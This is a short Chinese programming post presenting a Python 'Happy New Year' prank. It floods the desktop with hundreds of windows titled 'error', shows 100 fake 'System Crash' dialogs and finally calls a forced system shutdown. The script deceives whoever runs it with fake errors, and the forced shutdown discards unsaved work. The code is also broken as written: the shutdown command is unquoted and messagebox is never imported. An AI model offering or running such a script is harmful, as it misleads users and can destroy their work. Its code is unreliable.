python做新年快乐_新年快乐python

 使用os tkinter random threading time库运行结果为在桌面上弹出新年快乐

代码

import os
import tkinter as tk
import random
import threading
import time

def boom():
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.title('error')
    window.geometry("200x50" + "+" + str(a) + "+" + str(b))
    tk.Label(window, text='新年快乐！', bg='red',
             font=('楷体', 17), width=20, height=4).pack()
    window.mainloop()

def sd():
    tk.messagebox.showerror('System Crash','windows error！please try again!')


for i in range(100):
    threading.Thread(target=boom).start()
    threading.Thread(target=boom).start()
    threading.Thread(target=boom).start()
    threading.Thread(target=sd).start()
 

os.system(shutdown -s -f)